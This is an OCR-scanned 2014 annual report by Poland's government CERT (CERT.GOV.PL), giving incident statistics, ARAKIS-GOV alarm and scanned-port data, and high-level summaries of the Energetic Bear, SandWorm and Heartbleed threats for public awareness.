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ZESPOL CERT.GOV.PL

Rzgdowy Zespot Reagowania na Incydenty Komputerowe CERT.GOV.PL petni role gtéwnego
zespotu CERT odpowiadajgcego za koordynacje procesu reagowania na incydenty
komputerowe w obszarze administracji rzgdowej. Zespét funkcjonuje od 1 lutego 2008 roku
w Agencji Bezpieczenstwa Wewnetrznego. Zgodnie z przyjeta w drodze uchwaty Rady
Ministrow w dniu 25 czerwca 2013 roku Politykq Ochrony Cyberprzestrzeni Rzeczypospolitej
Polskiej w ramach ustanowionego Krajowego Systemu Reagowania na Incydenty
Komputerowe CERT.GOV.PL zostat wskazany w ramach drugiego poziomu tj. reagowania na
incydenty komputerowe. Jednym z podstawowych zadan Zespotu jest wspieranie
i rozwijanie zdolnosci jednostek administracji rzgdowej do obrony przed zagrozeniami
ptyngacymi z cyberprzestrzeni.

CERT.GOV.PL - dane kontaktowe
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Tel:
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Raport o stanie bezpieczenstwa cyberprzestrzeni RP w roku 2014

Wstep

Raport o stanie bezpieczeristwa cyberprzestrzeni RP w roku 2014 publikowany jest w celu
podnoszenia swiadomosci uzytkownikéw o aktualnych zagrozeniach i podatnosciach, a takze
skutkach ich ewentualnego wystgpienia dla systemow teleinformatycznych. Ujete
W Raporcie informacje, w tym dane statystyczne, majg dostarczy¢ wiedzy niezbednej dla
procesOw planowania i wdrazania w instytucjach rozwigzan przyczyniajgcych sie
do podwyzszenia odpornosci jawnych systeméw teleinformatycznych.

Dostrzegalny jest w ostatnich latach wyrazny wzrost dynamiki atakdéw, ktére tgczg mozliwe
metody i narzedzia, zwiekszajagc tym samym ewentualng skuteczno$é prowadzonych
dtugofalowych dziatan, nastawionych na osiggniecie zamierzonego celu. Atakujgcymi sg juz
nie tylko pojedyncze osoby, ale tez wysoko wyspecjalizowane grupy wykorzystujgce coraz
bardziej zaawansowane technologie oraz wektory ataku. Nalezy przy tym doda¢, ze
do przeprowadzania atakéw powszechnie wykorzystywane sg sieci anonimizujgce m.in. TOR,
ktére istotnie ograniczajg mozliwo$é zidentyfikowania sprawcdéw. Informacje dotyczgce
prowadzonych cyberkampanii pokazujg, ze w gtéwnym obszarze zainteresowania ze strony
najgrozniejszych atakujgcych znajdujg sie instytucje z sektora energetycznego oraz systemy
rzgdowe, co odzwierciedla Swiatowy trend w tej kwestii.

Zespoty powotane do reagowania na incydenty komputerowe i instytucje muszg zwiekszac
mozliwosci odparcia najbardziej dotkliwych form atakow jak m.in. ataki typu APT (ang.
Advanced Persistent Threat) czy spear phishing. Wydarzenia roku ubiegtego pokazuja,
iz niestety nadal, czynnikami przyczyniajgcymi sie do skali skutecznosci przeprowadzanych
atakow, pozostajg: nieodpowiednie podejscie do kwestii bezpieczenstwa systemow, brak
wdrozenia odpowiednich procedur w instytucjach oraz tendencja do redukcji wysokosci
finanséw przeznaczonych na funkcjonowanie instytucji kosztem bezpieczedstwa. Ogromne
znaczenie ma takze niski poziom swiadomosci wsréd kadry zarzadzajacej i pracownikow oraz
brak okresowych szkolen z danego zakresu.

Poza tradycyjnymi czynnikami wptywajgcymi na bezpieczenstwo cyberprzestrzeni RP, takimi
jak: upowszechnienie technologii teleinformatycznych, uproszczenie i dostepnos$¢ narzedzi
pomocnych w przeprowadzeniu atakdw oraz niedofinansowanie systeméw ochrony zasobow
administracji panstwowej — jednym z najistotniejszych elementéw w ostatnim roku
pozostawat wptyw aktualnej sytuacji geopolitycznej zwigzanej z kryzysem na Ukrainie.

W zwigzku z powyzszym, niezwykle istotna jest wspodtpraca instytucji z powotanymi
Zespofami Reagowania na Incydenty Komputerowe, oraz wdrazanie wydawanych
rekomendacji. Wspodlnie podejmowane dziatania z instytucjami umozliwiajg prowadzenie
przez Zesp6t CERT.GOV.PL dziatan wyprzedzajgcych m.in. poprzez cyrkulacje ostrzezen
i alertow skierowanych do instytucji, ktore pozwalajg w wielu sytuacjach unikng¢ zagrozenia
lub ewentualnie pomagajg wykry¢, zneutralizowa¢ czy zminimalizowa¢ negatywny skutek
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jego wystgpienia. Powyzsze dziatania przynoszg réwniez pozytywne efekty dla instytucji
i firm waznych dla bezpieczenstwa RP, poniewaz czesto podnoszg one zdolnosci

zapobiegania lub neutralizacji dziatan, ktdore skutkowa¢ mogg m.in. znacznymi stratami
finansowymi lub utratg zaufania.

Na koniec, w kontekscie pytan zadawanych czesto przez przedstawicieli mediow,
chcielibySmy przypomnieé, ze niniejsze opracowanie ma charakter jawny. Z oczywistych
wzgledéw ABW nie informuje publicznie o stanie aktualnego rozpoznania obcej dziatalnosci
wywiadowczej, takze prowadzonej w cyberprzestrzeni RP. Ze wzgleddéw prawnych raport nie

zawiera tez szczegodtowych informacji o incydentach bedgcych elementem prowadzonych
postepowac karnych i kontrolnych.
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Raport o stanie bezpieczenstwa cyberprzestrzeni RP w roku 2014

1. STATYSTYKA

1.1. Statystyki incydentow koordynowanych przez Zespot CERT.GOV.PL

Rok 2014 pod wzgledem liczby otrzymanych zgtoszen oraz obstuzonych incydentdéw kolejny
raz okazat sie dla Zespotu CERT.GOV.PL rekordowy w stosunku do lat poprzednich. Wzrost
liczby zgtoszen nastgpit w drugim kwartale 2014 roku i spowodowany byt gtéwnie m.in.
upublicznieniem informacji o powaznym zagrozeniu w zabezpieczeniach bibliotek OpenSSL,
tzw. Heartbleed.

W sumie, zarejestrowanych zostato az 12017 zgtoszen, z ktdrych 7498 zakwalifikowano, jako
incydenty. Ponizszy wykres obrazuje ilos¢ zarejestrowanych zgtoszen oraz obstuzonych przez
Zespot CERT.GOV.PL incydentéw teleinformatycznych w poszczegdlnych kwartatach
2014 roku.

4500 ~
4000 A~
3500
3000
2500
2000 -
1500
1000
500

3912

I kwartat IIkwartat I kwartat IV kwartat
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Wykres 1. Liczba zarejestrowanych zgtoszen oraz incydentéw w poszczegdlnych kwartatach 2014 roku

Roéznica w liczbie zarejestrowanych zgtoszen oraz liczbie incydentdw wynika z faktu, ze czes¢
z nich stanowig tzw. false-positives. Sg to przypadki btednej interpretacji przez zgtaszajgcego
legalnego ruchu sieciowego. Drugg z przyczyn, szczegblnie widoczng w przypadku zgtoszen
z systemodw automatycznych, sg wielokrotne zgtoszenia dotyczace tych samych incydentéw.
Ponadto, nalezy tu réwniez zwrdéci¢ uwage na fakt, iz zgtoszenia pochodzgce z systemow
autonomicznie raportujgcych m.in. za posrednictwem platformy N6?, zostajg poddane
pozniejszej weryfikacji przez Zespdét CERT.GOV.PL, ktéry wskazuje, czy zgtoszeniom mozna
nadad atrybut incydentu.

' Platforma N6 zostata zbudowana przez Zespot CERT Polska i stuzy gromadzeniu, przetwarzaniu oraz
przekazywaniu informacji o zdarzeniach naruszajacych bezpieczenstwo teleinformatyczne.
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Ponizsze wykresy przedstawiajg szczegdtowe statystyki uwzgledniajgce zrddta zgtoszen
incydentdw trafiajgcych do Zespotu CERT.GOV.PL.
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Wykres 2. Zrédta incydentéw — zgloszenia z wykorzystywanych przez Zespét CERT.GOV.PL systeméw
wspomagajacych
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Wykres 3. Zrédta incydentéw — ustalenia wiasne
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Wykres 4. Zrédta incydentéw — zgltoszenia podmiotéw zewnetrznych
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Podziat zarejestrowanych incydentéw w 2014 roku na poszczegdlne kategorie przedstawiony
zostat na wykresie nr 5, ktéry zawiera zaréwno dotychczas stosowang terminologie katalogu
zagrozen oraz nowy podziat, ktéry zostat wprowadzony w trzecim kwartale 2014 roku.

Botnet
Btedna konfiguracja urzadzenia

681

Skanowanie

Inzynieria spoteczna

Btedy aplikacji WEB

Wirus

Nieuprawniona zmiana informacji
Atak odmowy dostepu (np. DDoS, DoS)

Kon Trojanski

Nieuprawniony dostep do informacji | 15
Tresciobrazliwe | 14

Przestepstwo o charakterze terrorystycznym popetnione w cyberprzestrzeni | 12
Wykorzystanie podatnosci aplikacji
Dezinformacja

Wiamanie do aplikacji

Kradziez tozsamosci, podszycie sie
Wtamanie na konto/ataki sitowe
Naruszenie procedur bezpieczenstwa
Pomawianie (zniestawianie)

Podstuch

Robak sieciowy

Nieuprawnione logowanie
Nieuprawnione wykorzystanie zasobdw
Préby nieuprawnionego logowania
Wtamanie na konto uprzywilejowane

B R P P P NN W WRBR U NV

Wykorzystanie podatnosci w urzadzeniach

Wykres 5. Statystyka2 wybranych incydentéw w roku 2014 z podziatem na kategorie

2Dezinformacja — publikowanie nieprawdziwych informacji, ktére 3$wiadomie wprowadzajag w btad
potencjalnych odbiorcow tej wiadomosci, starajac sie tym samym odwrdci¢ uwage od faktycznie zaistniatych
zdarzen.

Inzynieria spoteczna (socjotechnika) — wykorzystanie niewiedzy oraz ludzkiej natury przez cyberprzestepcow
w celu przetamania zabezpieczen oraz uzyskania nieautoryzowanego dostepu do komputera. Celem inzynierii
spotecznej jest potajemne instalowanie oprogramowania szpiegujgcego lub innego ztosliwego
oprogramowania, a takze préba uzyskania poufnych informacji uzytkownika np. haset dostepowych do konta
bankowego.
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W 2014 roku najwiekszg grupe, jak co roku, stanowity incydenty w kategorii botnet. Zespét

CERT.GOV.PL zarejestrowat az 4681 incydentéw dotyczacych oprogramowania ztosliwego
dziatajgcego na stacjach roboczych, podigczonych do sieci teleinformatycznej jednostek
administracji publicznej. Najczesciej wystepujgcymi typami botnetow w 2014 roku
wykrytymi w infrastrukturze administracji panstwowej, byty botnety Downadup oraz
Conficker.
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Wykres 6. Cztery gtéwne typy botnetéw w 2014 roku
(w odniesieniu do wszystkich zarejestrowanych incydentéw w kategorii botnet)

W kategorii bfedna konfiguracja urzqdzenia uwzgledniono informacje o podatnosciach oraz
btedach konfiguracji aplikacji, bgdZz urzadzen sieciowych. Znaczgcy wptyw na statystyke miaty
w tej kategorii pozyskane przez Zesp6t CERT.GOV.PL informacje o podatnosci serwerdw DNS
(DNSOpenResolver), podatnos¢ serwerdw NTP, a takze podatnosci SNMP — w sumie 2213
incydenty. Ponadto, Zespdt CERT.GOV.PL otrzymywat znaczng ilos¢ zgtoszen zwigzanych
ze skanowaniem sieci w poszukiwaniu btedéw i podatnosci — 132 incydenty oraz okreslonych
jako inzynieria spoteczna — 119 incydentéw. Dwukrotny wzrost w stosunku do roku 2013
zostat odnotowany w przypadku atakéw odmowy dostepu (DDoS i DoS) z 10 w 2013 roku do
20 w 2014 roku.

1.2. Analiza alarméw na podstawie systemu ARAKIS-GOV

System ARAKIS-GOV w 2014 roku zarejestrowat 28322 alarmy. Ze wzgledu na poziom
istotnosci i zagrozenia, alarmy podzielono na trzy gtdwne kategorie. Najmniej odnotowano
alarmoéw najgrozniejszych o priorytecie wysokim — 1140, co stanowito 4% wszystkich
zarejestrowanych. Najwiecej natomiast odnotowano alarméw o priorytecie Srednim
— 13896, ktore stanowity 49% ogoétu. Pozostate alarmy posiadaty priorytet niski, ktérych
odnotowano 13286.
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Raport o stanie bezpieczenstwa cyberprzestrzeni RP w roku 2014

13896 13286
47%
1140
B Wysoki  ® Sredni Niski Wysoki Sredni Niski
Wykres 7. Rozktad procentowy alarméw Wykres 8. Rozktad ilo$ciowy alarméw
ze wzgledu na priorytet ze wzgledu na priorytet

Poréwnujgc powyzsze statystyki z rokiem 2013, mozina zaobserwowac znaczny wzrost
ilosciowy odnotowanych alarméw, zaréwno tych o priorytecie wysokim i Srednim.

13896 13286 12900
4773
1140 644
Wysoki Sredni Niski
m 2014 12013
Wykres 9. Poréwnanie rozktadu alarméw w latach 2014 i 2013
W konteksécie alarméw o priorytecie ,wysokim” i ,srednim” wiekszos¢ alarmow

wynika z obserwowanego wzrostu zainteresowania przestrzeniami publicznych adresow IP
instytucji w ramach systemu ARAKIS-GOV. Powyzsze przejawia sie odnotowaniem wiekszej
ilosci alarmow zwigzanych z procesem rozpoznania zasobdw sieci (skanowanie sieci) przy
zastosowaniu mechanizmu spoofowania (fatszowania) zrédtowego adresu IP.
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Informacje gromadzone i analizowane przez system ARAKIS-GOV pozwalajg na okreslenie

lokalizacji geograficznej zrodet, z ktérych wykonywano ataki na polskie sieci administracji
publicznej. Nalezy jednak pamietaé, ze specyfika protokotu TCP/IP sprawia, iz nie mozna
bezposrednio tgczy¢ Zrédta pochodzenia pakietdw z rzeczywistg lokalizacjg zleceniodawcy
ataku. Wynika to z faktu, iz w celu ukrycia swej tozsamosci i fizycznej lokalizacji atakujacy
mogg wykorzystywaé serwery posredniczgce (proxy), stabo zabezpieczone, badz
nieaktualizowane komputery, nad ktédrymi wczesniej przejmujg kontrole. W przypadku
protokotu UDP/IP natomiast, ze wzgledu na fakt, iz jest protokotem bezpotgczeniowym
podszycie nie stanowi zadnego problemu a weryfikacja autentycznos$ci nadawcy jest
niezwykle trudna.

Do najbardziej aktywnych pod katem ilosci generowanych potgczen nalezg adresy IP
przypisane do Chin — okoto 28% i Holandii — przeszto 14%.

Chiny 28,87%

Holandia 14,75%

Stany Zjednoczone 13,69%
Nieznany
Portugalia

Japonia

Korea Potudniowa
Francja

Federacja Rosyjska

Dania

Wykres 10. Rozktad procentowy Zzrédet atakéw na sieci monitorowane przez system ARAKIS-GOV pod katem
ilosci generowanych potaczen

Nieznacznie rdéznig sie statystki lokalizacji geograficznej Zrédtowych adreséw IP pod katem
ich unikalnego wystepowania.
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Chiny 36,04%
Stany Zjednoczone
Indie

Turcja

Taiwan

Brazylia

Federacja Rosyjska
Meksyk

Korea Potudniowa

Niemcy

Wykres 11. Rozktad procentowy Zrédet atakéw na sieci monitorowane przez system ARAKIS-GOV pod katem
unikalnych adreséw IP

W powyzszych wykresach dotyczgcych statystyk zrédet atakdow, wystepuje element
nieznane, dotyczacy adresow IP, ktére w chwili obecnej nie sg przypisane do zadnego
podmiotu — oznacza to, iz dokonano podszycia sie (podmiany prawdziwego Zrodtowego
adresu IP).

Zastosowanie w systemie ARAKIS-GOV systemdw honeypot-owych do wykrywania atakéw
z sieci Internet, dostarcza istotnych informacji na temat procesu rozpoznawania zasobdw
(skanowania). Na podstawie powyzszych danych przedstawiono tabele, zawierajgcg ranking
skanowanych portéw popularnych ustug sieciowych pod wzgledem liczby unikalnych
adreséw IP w skali catego roku.

Docelowy

L.p. e Procent unikalnych IP Opis
1 23/TCP 31,50% Ataki na ustuge telent
5 5000/TCP 11,28% Atak na ustuge zar'zadzanla rozwigzania typu
NAS firmy Synology
Ataki typu bufferoverflow na ustugi
0,
3 445/TCP 9,87% Windows RPC
4 80/TCP 7,46% Ataki na aplikacje webowe
5 22/TCP 4,18% Ataki na ustuge SSH
6 3389/TCP 4,10% Ataki na ustuge RDP (zdalny pulpit)
7 8080/TCP 3.41% Skanowanie w poszukiwaniu serweréow
open web proxy

8 1433/TCP 2,80% Ataki na ustuge bazy danych MSSQL
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139/TCP

1,62% Ataki na ustuge NetBIOS

10

5900/TCP

1,58% Ataki na ustuge VNC (zdalny pulpit)

Tabela 1. Tabela atakowanych portéw w roku 2014 na podstawie danych z systemu ARAKIS-GOV

Powyzsza tabela obrazuje skale zainteresowania konkretnymi ustugami przez ztosliwe
oprogramowanie, badZ samych atakujgcych. Pierwsze miejsce zajmuje port 23/TCP (ataki
na ustuge telnet), na drugim miejscu (zmiana w stosunku do statystyk za rok 2013) znajduje
sie port 5000/TCP, ktory zwigzany jest z ustugg panelu zarzadzajacego rozwigzan typu NAS

(Network Attached Storage) firmy Synology.

System ARAKIS-GOV, na podstawie analizy zebranego ruchu, prébuje réwniez dokonaé
identyfikacji zagrozenia na podstawie bazy znanych zagrozen w postaci regut systemu Snort.

Na tej podstawie stworzono zestawienie najczesciej odnotowanych regut systemu Snort
w systemie ARAKIS-GOV.

Procent wszystkich

Reguta SNORT

unikalnych IP

1 19,70% MISC MS Terminal server request

2 19,69% ET POLICY RDP connection request

3 16,55% ET POLICY Radmin Remote Control Session Setup Initiate

4 10,52% WEB-IIS view source via translate header

5 5,46% BLEEDING-EDGE RDP connection request

6 3,45% ET POLICY Suspicious inbound to MSSQL port 1433

7 3,42% ET SCAN Potential SSH Scan

8 2,40% ET POLICY RDP disconnect request

9 2,29% ET SCAN LibSSH Based SSH Connection - Often used as a BruteForce Tool
10 1,55% ET SCAN Behavioral Unusually fast Terminal Server Traffic

Tabela 2. Najczesciej dopasowane reguty do ruchu sieciowego widzianego przez system ARAKIS-GOV

* Snort — sieciowy system wykrywania wtaman, dostepny na wolnej licencji, posiadajgcy szeroki zakres
mechanizmoéw detekcji atakdw oraz umozliwiajgcy, w czasie rzeczywistym, dokonywanie analizy ruchu
i rejestrowanie pakietow przechodzacych przez sieci oparte na protokotach IP/TCP/UDP/ICMP
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Pierwsze dwie pozycje w statystykach zajmujg reguty dotyczgce atakdw na ustugi pulpitu
zdalnego RDP, w ktérych czesciowo potgczenia mogg by¢ zwigzane z nadal widoczng
(podobnie jak w roku ubiegtym) aktywnoscig robaka Morto®.

System ARAKIS 2.0 GOV

System ARAKIS-GOV dziata od roku 2007, w ktérym rozpoczat sie proces jego wdrozenia
produkcyjnego, obecnie rozlokowany jest w ponad kilkudziesieciu instytucjach administracji
publicznej. Gtdwnym celem systemu jest wczesne ostrzeganie o zagrozeniach ptynacych
z sieci Internet i opisywanie zidentyfikowanych zagrozen w postaci sygnatury. Majac
na uwadze fakt szybkiej i ciggtej ewolucji zagrozen, podjeto dziatania w celu utworzenia
nowej wersji systemu tj. ARAKIS 2.0 GOV, ktéra bedzie wykorzystywata doswiadczenia
zdobyte podczas dziatania systemu w wersji pierwszej oraz bedzie dostosowana do
aktualnych trenddw i rodzajéw zagrozen obserwowanych w sieci Internet. W stosunku do
obecnej wersji systemu, ARAKIS 2.0 GOV bedzie charakteryzowat sie ulepszonymi
funkcjonalno$ciami zapozyczonymi z systemu ARAKIS-GOV oraz zupetnie nowymi modutami
pozwalajgcymi na szybsze i lepsze wykrywanie atakow, oraz innego rodzaju zagrozen. Nadal
nie zmieni sie architektura systemu i podobnie jak w systemie ARAKIS-GOV bedzie sktadac
sie z sensorow rozlokowanych w segmentach sieci instytucji, ktére bedg komunikowac¢ sie
z Centrum Systemu. Autorzy systemu zdecydowali sie na budowe modutowg, ktéra pozwoli
na fatwiejsze rozwijanie w przysztosci rozwigzania jak i umozliwi spersonalizowanie
wdrozenia zgodnie z oczekiwaniami instytucji biorgcych udziat w projekcie. Nalezy pamietac,
iz wybor funkcjonalnosci sensora wdrazanego w sieci danego podmiotu w dalszym ciggu
pozostaje w gestii instytucji przystepujacej do systemu ARAKIS 2.0 GOV.

1.3. Publikacje na stronie www.cert.gov.pl

Jak co roku na witrynie internetowej Zespotu CERT.GOV.PL www.cert.gov.pl opublikowano
specjalistyczne informacje o istotnych zagrozeniach, podatnosciach oraz aktualizacjach
w popularnych i najczesciej wykorzystywanych w administracji publicznej systemach
i aplikacjach. Ponadto na stronie zawarto informacje o najpopularniejszych formach atakow
sieciowych oraz sposobach przeciwdziatania ineutralizowania ich skutkéw w formie
zrozumiatej zaréwno przez administratoréw jak i uzytkownikéw. Dodatkowo na witrynie
Zespotu CERT.GOV.PL umieszczane byty na biezgco biuletyny bezpieczenstwa udostepnione
przez producentéw sprzetu i oprogramowania. Zawierajg one w szczegdlnosci omdéwienie
ostatnio wykrytych luk bezpieczenstwa ich produktéw oraz metody neutralizacji
potencjalnych zagrozen.

* Morto — robak sieciowy atakujacy Zle zabezpieczone systemy Microsoft Windows, wykorzystujgc do tego celu
protokdt RDP (Remote Desktop Protocol) wykorzystywany przez tzw. zdalny pulpit. Morto nie eksploituje
zadnej luki w oprogramowaniu, a atak polega na prébie odgadniecia nazwy uzytkownika i hasta (brute-force).
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B Poprawki i
aktualizacje

B Zagrozenia i

podatnosci
6 Wiadomosci
ogdlne
Poprawki i Zagrozeniai  Wiadomosci
aktualizacje podatnosci ogdlne

Wykres 12. Statystyka publikacji na stronie cert.gov.pl w 2014 roku
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2. OMOWIENIE PRZYKLADOWYCH ZAGROZEN

Wskazaé nalezy, ze zakres udzielanego przez Zespdt CERT.GOV.PL wsparcia przy eliminacji
zagrozenia lub podatnosci, a zwtfaszcza przy minimalizacji negatywnych skutkéw ataku
i przywrdcenia funkcjonalnosci systemow — zalezy od decyzji samej instytucji, ktéra stata sie
celem. Podejmowane, przez Zespot CERT.GOV.PL dziatania prewencyjno-informacyjne
(w formie przekazywanych ostrzezen oraz rekomendacji majgcych na celu zwiekszenie
poziomu bezpieczenstwa systemoéw teleinformatycznych) bedga skuteczne przy ich wdrozeniu
przez samych zainteresowanych. Na podstawie zaprezentowanych przyktadéw chcemy
wskazaé, ze warto stosowac sie do rekomendac;ji przesytanych przez Zespot CERT.GOV.PL.

2.1. Energetic Bear/Dragon Fly

W 2014 roku Zespot CERT.GOV.PL odnotowat incydenty zwigzane z kampanig cyber-
-szpiegowska okreslang mianem Energetic Bear. Przedmiotowa nazwa zostata nadana przez
firme CrowdStrike>, ktéra jako pierwsza opublikowata raport w tej sprawie. Nalezy jednak
zaznaczy¢, ze kampanie rownolegle badaty réwniez inne organizacje i firmy z zakresu
bezpieczenstwa w cyberprzestrzeni, co skutkowato powstaniem alternatywnych nazw
dla operacji: Dragon Fly (nazwa nadana przez firme Symantec) oraz Crouching Yeti (nazwa
nadana przez firme Kaspersky Lab). Kampania cyber-szpiegowska Energetic Bear zostata
sklasyfikowana przez Red Sky Alliance®, jako rodzaj atakéw typu APT’ — TTPs (ang. tactics
techniques and procedures).

Logo kampanii

® Firma Crowd Strike — jest globalnym dostawca technologii i ustug kierowanych na identyfikacje
zawansowanych zagrozen oraz atakéw ukierunkowanych.

® Red Sky Alliance - henrybasset.blogspot.com

7 APT — (ang. Advanced Persistent Threat) - ataki ukierunkowane prowadzone przez wysoko wyspecjalizowane
osoby lub grupy oséb, wykorzystujgce zaawansowane technologie oraz wektory ataku w celu realizacji
okreslonych zadan i pozyskania wrazliwych lub niejawnych informacji. Cecha charakterystyczng atakéw jest ich
rozlegto$¢ w czasie oraz widoczna faza rozpoznania.
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Podczas ww. kampanii, celem uzyskania dostepu do stacji roboczej, wykorzystano gtéwnie

trzy wektory ataku:

= wiadomosci typu spear phishing®, zawierajace oprogramowanie zto$liwe w postaci
zatacznika;

* technike watering hole® stosowang w celu infekcji potencjalnej ofiary
oprogramowaniem ztosliwym. Wykorzystano m.in. oprogramowanie
zidentyfikowane, jako Lightsout exploit kit;

= umieszczenie ztosliwego oprogramowania w postaci aktualizacji do oprogramowania
stosowanego w sterownikach przemystowych, za posrednictwem
skompromitowanych stron producentéw tych sterownikow.

W kampanii wykorzystano oprogramowanie ztosSliwe Remote Access Tool/Trojan(RAT)
zidentyfikowane m.in. jako Backdoor.Oldrea lub Trojan.Karagany, wykorzystujgce m.in.
podatnosci w systemie operacyjnym Windows XP lub oprogramowaniu stuzgcym do odczytu
dokumentéw np. Adobe Reader: CVE-2013-1347, CVE-2013-1690, CVE-2012-1723, CVE-2012-
2034, CVE-2012-4792, CVE-2013-2465, CVE-2009-3953,;

Cyberprzestepcy, na swoje ofiary, obierali najczesciej amerykanskie i europejskie firmy
energetyczne, firmy z sektora zbrojeniowego, firmy z sektora IT oraz agencje rzgdowe
z co najmniej 23 krajow (w tym Polski) oraz z Chin i Japonii. Skala prowadzonej operacji
obejmowata co najmniej kilka tysiecy potwierdzonych infekcji na catym Swiecie,
w tym rowniez komputeréw nalezgcych do polskiej cyberprzestrzeni.

Celem minimalizacji wystgpienia ewentualnych negatywnych skutkéw kampanii nawigzana
zostata bliska wspodtpraca z zagrozonymi instytucjami i firmami. Jako dobrze rokujgce
narzedzie wspotpracy z instytucjami mozna przytoczy¢ mechanizm wykorzystany
w reakcji na doniesienia o Energetic Bear, majgcy na celu ograniczenie mozliwosci eskalacji
zagrozenia w sieciach i systemach, ktére moglyby zosta¢ dotkniete cyberkampania.
Przekazano szczegdétowe informacje, moggce mie¢ wptyw na bezpieczenstwo kluczowych
systemow  komputerowych, zawierajgce zaréwno dane techniczne oraz opis
wykorzystywanej metody dziatania, co wraz z rekomendacjami co do dalszych dziatan
umozliwito dokonanie sprawdzenia czy nie doszto do ewentualnej infekcji. Zwrotna
informacja z instytucji pozwolita zarédwno na weryfikacje uzyskanych informacji
w odniesieniu do skutecznosci cyberkampanii w Polsce oraz poszerzenie zebranej wiedzy
na temat skali i mechanizmdéw cyberkampanii, co w nastepstwie umozliwiato dalsza

¢ spear phishing — ukierunkowany atak typu "phishing". Atak polega na wystaniu wiadomosci e-mail,
wykorzystujgcej wizerunek osoby lub firmy, w celu naktonienia uzytkownika do skorzystania z odnosnika lub
zatgcznika o charakterze ztosliwym.

? watering hole — technika ataku polegajgca na skompromitowaniu konkretnej witryny internetowej, w celu
umieszczenia na niej oprogramowania ztosliwego, co w konsekwencji ma doprowadzi¢ do infekcji uzytkownika
korzystajgcego z przedmiotowej witryny.
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wspotprace, takie z innymi podmiotami w celu zneutralizowania zagrozenia, badz
minimalizacji jego skutkdw dla catego kraju lub sektora.

Zesp6t CERT.GOV.PL w ramach prowadzonych dziatan informacyjno-prewencyjnych
przekazat ostrzezenia o zagrozeniu wraz ze szczegétami mogacymi  wskazaé
na kompromitacje systemow tzn.: dane serwerdw zarzgdzajgcych, adresy e-mail, z ktérych
rozsytano wiadomosci phishingowe, wskazania reklam stanowigcych element ztosliwy stron
WWW, etc.

Dodatkowo, na witrynie www.cert.gov.pl opublikowane zostato, takze skierowane do ogétu
uzytkownikdw cyberprzestrzeni, ostrzezenie o kampanii Energetic Bear oraz wynikajacych
z niej zagrozen, wraz z zaleceniami postepowania w przypadku wykrycia infekcji stacji
robocze;.

W wyniku prowadzonych dziatan Zespdét CERT.GOV.PL uzyskat dane dotyczgce kilkuset
adresow IP  zainfekowanych urzadzen, przynaleznych do réinych operatoréow
telekomunikacyjnych. Analiza zgromadzonych danych nie wykazata infekcji istotnych
systemow teleinformatycznych gtéwnych firm energetycznych RP, oraz instytucji
panstwowych. Odnotowano natomiast wiele infekcji prywatnych stacji roboczych. Do czesci
infekcji na terenie RP mogto dojs¢ jeszcze w 2013 roku i pozostawaty one niewykryte
do czasu zidentyfikowania ich przez Zespot. Powyisze byto spowodowane czesto brakiem
oprogramowania antywirusowego lub brakiem aktualizacji bazy sygnatur tego
oprogramowania.

Zainfekowane urzadzenia zostaty przyporzadkowane do instytucji i osdb, ktére mozna
podzieli¢ na grupy ze wzgledu na rodzaj prowadzonej dziatalnosci. Ponizej zostata
przedstawiona charakterystyka:

84,8%

11,5%
0,4% 1,6% 1,6%
Banki Instytucje Uczelnie, osrodki Firmy Osoby prywatne
panstwowe badawcze i

naukowe, szkoty

Wykres 13. Rozktad zainfekowanych uzytkownikéw
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W kontekscie prowadzonych dziatan stwierdzono stosunkowo niskg skutecznos¢ kampanii

Energetic Bear w stosunku do gtéwnych instytucji i firm zwigzanych ze sferg energetyki RP.
Odnotowano natomiast dos¢ duzg liczbe infekcji komputerdw osdb prywatnych, ktére
w rozpoznanym jak dotad zakresie wydajg sie by¢ przypadkowymi lub drugorzednymi
ofiarami przedmiotowej kampanii.

Biezgce monitorowanie zagrozenia oraz prowadzona wspotpraca krajowa i miedzynarodowa
pozwolity na skuteczne ograniczenie szkdd zwigzanych z omawiang dziatalnoscia.

2.2. SandWorm

Informacja o wykryciu przez firme iSight we wspdtpracy z firmg Microsoft podatnosci typu
0-day dotyczgcej wszystkich aktualnie wspieranych przez Microsoft systemow operacyjnych
z rodziny Windows oraz Windows Server 2008 i 2012, zostata opublikowana w dniu
15 pazdziernika 2014 roku. Przedmiotowa podatnos$é¢ byta wykorzystana w kampanii cyber-
szpiegowskiej nazwanej SandWorm, ktérej celem byty m.in. NATO, instytucje administracji
publicznej i firmy z sektora energetycznego oraz telekomunikacyjnego w krajach Unii
Europejskiej i na Ukrainie, a takze uczelnie w Stanach Zjednoczonych.

@SandWorm

Logo kampanii'®

Atakujacy do infekcji wykorzystali szereg podatnosci m.in. CVE-2014-4114 dotyczaca btedu
w mechanizmie Windows OLE pozwalajgcego na zdalne wykonanie kodu w kontekscie
aktualnie zalogowanego uzytkownika. Skompromitowany system infekowany byt ztosliwym
oprogramowaniem m.in. z rodziny BlackEnergy.

W zwigzku z powyziszym zagrozeniem Zespdt CERT.GOV.PL podjat dziatania skierowane
do instytucji administracji panstwowej oraz sektora energetycznego infrastruktury
krytycznej, zmierzajgce do ograniczenia mozliwosci eskalacji zagrozenia. Przekazano liste
adreséw IP serwerdow zarzgdzajgcych (C&C) biorgcych udziat w kampanii, celem weryfikacji
czy doszto do potgczen wraz z zaleceniami m.in. natychmiastowej aktualizacji wszystkich
komputerow wykorzystujgcych podatne wersje systemdéw operacyjnych Windows.
W ramach firm i instytucji, ktére byty adresatem przedmiotowej informacji, jedynie 13%
potwierdzito wykrycie ruchu sieciowego zwigzanego ze wskazanymi serwerami C&C.

1 7rodto: www.isightpartners.com
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Dziatania podjete przez Zespoét CERT.GOV.PL w oparciu o poprawki bezpieczeristwa wydane
przez firme Microsoft, pozwolity na szybka weryfikacje systemoéw teleinformatycznych
administracji panstwowej oraz infrastruktury krytycznej pod katem wystepowania
przedmiotowej podatnosci i eliminacje zagrozenia.

2.3. Heartbleed

W 2014 roku w oprogramowaniu OpenSSL wykryto krytyczng luke bezpieczenstwa
w implementacji funkcjonalnosci heartbeat protokotu TLS/DTLS. Podatne wersje
oprogramowania: 1.0.1, 1.0.2-beta, 1.0.1f i 1.0.2betal. Wykryty btad umozliwia atakujgcemu
odczytanie z pamieci danych dotyczgcych np: kluczy prywatnych lub danych przesytanych
przez uzytkownikéw zaszyfrowanym kanatem komunikacji. Atakujgc zdalnie ustuge, ktdra
korzysta z podatnej wersji oprogramowania OpenSSL, nieuprawniona osoba moze by¢
w stanie uzyska¢ wrazliwe dane, ktére nastepnie mogg postuzy¢ np. do procesu dekryptazu

zaszyfrowanych informacji, podszycia sie pod innego uzytkownika czy atakéw typu Man
in the Middle™.

Heartbleed a ARAKIS-GOV

